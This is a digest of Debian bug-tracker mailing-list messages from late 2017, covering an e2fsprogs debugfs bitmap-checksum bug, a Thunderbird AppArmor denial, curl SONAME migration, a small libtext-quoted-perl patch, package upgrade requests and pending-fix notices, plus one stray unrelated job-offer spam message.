Would you be willing to package Bookworm for inclusion in Debian?
I have just filed a RFP bug report (#883867).

Please let me know.
Thanks a lot for your time and helpfulness!



-- 
 http://www.inventati.org/frx/
 There's not a second to spare! To the laboratory!
. Francesco Poli .
 GnuPG key fpr == CA01 1147 9CD2 EFDF FB82  3925 3E1C 27E1 1F69 BFFE


pgpWpu997WF7H.pgp
Description: PGP signature

Bug#883869: e2fsprogs: debugfs doesn't write group descriptor with block bitmap checksum modified

[Nikita Maslov]

Package: e2fsprogs
Version: 1.43.7-1
Severity: normal
Tags: upstream

Dear Maintainer,

I found a problem with debugfs (but it may be a problem with the whole
e2fslibs) when trying to mark block bitmap.  It looks like group
descriptor which is modified with 

Steps to reproduce this:

   1. Create a new ext4 filesystem image:
  $ dd if=/dev/zero of=/tmp/testfs.img bs=1K count=4096
  $ /sbin/mkfs.ext4 /tmp/testfs.img
   2. Open this image with debugfs, set some free block's mark and close
   debugfs:
  $ /sbin/debugfs -w /tmp/testfs.img
  debugfs: ffb
  Free blocks found: 1204
  debugfs: setb 1204
  debugfs: q
  $
   3. Try to open this image again with debugfs:
  $ /sbin/debugfs /tmp/testfs.img
  /tmp/testfs.img: Block bitmap checksum does not match bitmap while 
reading block bitmap
  debugfs:

This error is also detected with e2fsck.

Some debugging showed that block bitmap checksum is calculated correctly both 
when writing a new block bitmap and when opening filesystem. Probably, the 
problem is that calculated checksum on writing stage is not actually written 
into FS. I put breakpoints into ext2fs_block_bitmap_csum_set and
ext2fs_block_bitmap_csum_verify and it showed up that 'provided'
checksum in 'verify' is the same as it was in gdp in 'set' just after getting
group descriptor.


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (900, 'testing'), (500, 'testing-debug'), (10, 'unstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages e2fsprogs depends on:
ii  e2fslibs1.43.7-1
ii  libblkid1   2.30.2-0.1
ii  libc6   2.25-3
ii  libcomerr2  1.43.7-1
ii  libss2  1.43.7-1
ii  libuuid12.30.2-0.1

Versions of packages e2fsprogs recommends:
pn  e2fsprogs-l10n  

Versions of packages e2fsprogs suggests:
pn  e2fsck-static  
pn  fuse2fs
pn  gpart  
ii  parted 3.2-18

-- no debconf information

Bug#882782: cannot download or send attachements: permission denied to read recently-used.xbel

[Gerhard A. Dittes]

Hi,

I can confirm this misbehavior on my system, too:


Debian 9.2

Package: linux-image-amd64  4.13+86~bpo9+1
Package: thunderbird  52.4.0-1~deb9u1


... I'm not able to neither open nor send attachments via thunderbird.


Fwiw: The journal discloses information like this (when trying to open an image 
file):

Dec 08 17:37:16 vandamme kernel: audit: type=1400 audit(1512751036.051:1869): 
apparmor="DENIED" operation="exec" profile="thunderbird" 
name="/usr/bin/gwenview" pid=30742 comm="thunderbird" requested_mask="x" 
denied_mask="x" fsuid=1000 ouid=0


Regards, Gerhard

Bug#858398: curl: Please migrate to openssl1.1 in Buster

[Ondřej Surý]

Hi,

just innocent bystander here with an observation:

These two options:

a)
> I do agree it's the correct solution though, and it would be a good 
> opportunity
> to finally sync SONAME with upstream

b)
> Because of 1 I think we should change the package name (and SONAME) for
> libcurl3.  I don't think 2 is appropriate.

are mutually exclusive, so even if we rename the share library packages
to libcurl4*, they would have to conflict with libcurl3* because they
would contain same files.

And the SONAME is already libcurl.so.4 (at least on stretch):

$ objdump -p /usr/lib/x86_64-linux-gnu/libcurl* | grep SONAME
  SONAME   libcurl-gnutls.so.4
  SONAME   libcurl-gnutls.so.4
  SONAME   libcurl-gnutls.so.4
  SONAME   libcurl.so.4
  SONAME   libcurl.so.4
  SONAME   libcurl.so.4

So in this case, unfortunately, bumping the SONAME is actually something
different than changing package name to match to SONAME of the library. 
Perhaps changing the package name and adding Breaks to packages using
CURLOPT_SSL_CTX_FUNCTION and adding Breaks/Replaces to libcurl3* package
might be most sane option.

On the other hand, it would be very difficult to correctly backport
newer curl (people are asking for HTTP/2 support) without bumping the
SONAME to libcurl.so.5.

Ondrej
-- 
Ondřej Surý 

Bug#258096: AVAILABLE?

[Lambert, Shanda Jae - SDSU Student]

Advice if you are available for a position as a North America regional 
intermediary for a German company.

Bug#883870: warning: Negative repeat count does nothing

[Stefan Bühler]

Package: libtext-quoted-perl
Version: 2.09-1

Hi,

rt shows warnings like these in the log:

Negative repeat count does nothing at /usr/share/perl5/Text/Quoted.pm line 244.

Upstream bug is: https://rt.cpan.org/Public/Bug/Display.html?id=111986
- seems dead to me.

Attached patch silences the warning by ensuring the count is at least 
zero.

cheers,
Stefan
Description: Fix "Negative repeat count does nothing"

---
Bug: https://rt.cpan.org/Public/Bug/Display.html?id=111986

--- libtext-quoted-perl-2.09.orig/lib/Text/Quoted.pm
+++ libtext-quoted-perl-2.09/lib/Text/Quoted.pm
@@ -241,6 +241,7 @@ sub _classify {
 else {
 my $extraspace =
   length( $line->{raw} ) - length( $line->{text} ) - $firstfrom;
+$extraspace = 0 if $extraspace < 0;
 $paras[-1]->{text} .= "\n" . q{ } x $extraspace . $line->{text};
 $paras[-1]->{raw} .= "\n" . $line->{raw};
 }

Bug#883871: qbittorrent: New upstream release (4.0.x)

[jim_p]

Package: qbittorrent
Version: 3.3.15-1
Severity: wishlist
Tags: upstream

Dear Maintainer,

Please update qbittorrent to the latest upstream release, 4.0.x, that was
released ~2 weeks from upstream. And close #837972 and #856029 since 3.3.15 is
already in the repo.



-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.13.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages qbittorrent depends on:
ii  geoip-database 20171107-1
ii  libboost-system1.62.0  1.62.0+dfsg-4+b2
ii  libc6  2.25-3
ii  libgcc11:7.2.0-16
ii  libqt5core5a   5.9.2+dfsg-4
ii  libqt5dbus55.9.2+dfsg-4
ii  libqt5gui5 5.9.2+dfsg-4
ii  libqt5network5 5.9.2+dfsg-4
ii  libqt5widgets5 5.9.2+dfsg-4
ii  libqt5xml5 5.9.2+dfsg-4
ii  libstdc++6 7.2.0-16
ii  libtorrent-rasterbar9  1.1.4-1
ii  python 2.7.14-1
ii  zlib1g 1:1.2.8.dfsg-5

qbittorrent recommends no packages.

Versions of packages qbittorrent suggests:
pn  qbittorrent-dbg  

-- no debconf information

Bug#883673: Pending fixes for bugs in the libdevice-cdio-perl package

[pkg-perl-maintainers]

tag 883673 + pending
thanks

Some bugs in the libdevice-cdio-perl package are closed in revision
b0a860ae7bb31657942693213c294f674331de0b in branch 'master' by gregor
herrmann

The full diff can be seen at
https://anonscm.debian.org/cgit/pkg-perl/packages/libdevice-cdio-perl.git/commit/?id=b0a860a

Commit message:

Add patch to remove BSDI driver.

This patch can be removed when libcdio/Device::Cdio 1.1.0 are released.

Thanks: Matthias Klose for the bug report and the patch.
Closes: #883673

Bug#883682: don't install features-file as conffile for easier overriding

[intrigeri]

Hi,

Laurent Bigonville:
> if a policy creator wants to modify the policy he might need to modify this
> file as well same if a user is building his own kernel.

There's really no good reason why one would need to modify the default
file in /usr: the features-file that the parser uses is configured in
/etc/apparmor/parser.conf so if one wants to use a different one, they
can point to their own features-file (stored wherever they want)
instead of the default one.

> There seems to have no override mechanism here that meas that if
> anybody has modified the features file now that you move that file
> to /usr it means that the changes will completely be ignored

Right. Now, that file has been there (in testing/sid only) for less
than 1.5 months so I doubt there's anyone who does advanced enough
AppArmor things to modify that file but does not follow our discussion
channels and would therefore be surprised by this move.
I've considered documenting this in NEWS.Debian but decided against
spamming everyone only to better support a use case I believe does not
exist (and really, anyone doing this kind of advanced AppArmor things
on testing/sid has all the skills needed to recover from the breakage
in the unlikely event that any happened).

> (leading to possible boot failures).

I'm not concerned about it. I doubt we ship any policy that can break
the boot if loaded under an unexpected feature set but I did not
check. FWIW in the years I've been using AppArmor on dozens of
systems, I've never seen it break my boot, and I can't recall any such
bug report in Debian so far. I guess that's an advantage that comes
with our current tiny AppArmor policy coverage (that you've pointed
out elsewhere).

Thanks for the feedback!

Bug#883870: Pending fixes for bugs in the libtext-quoted-perl package

[pkg-perl-maintainers]

tag 883870 + pending
thanks

Some bugs in the libtext-quoted-perl package are closed in revision
73029ff252c6085fae1534ddff2cefb10dde1ef9 in branch 'master' by gregor
herrmann

The full diff can be seen at
https://anonscm.debian.org/cgit/pkg-perl/packages/libtext-quoted-perl.git/commit/?id=73029ff

Commit message:

Add patch to fix warning about negative repeat count.

Thanks: Stefan Bühler for the bug report and the patch.
Closes: #883870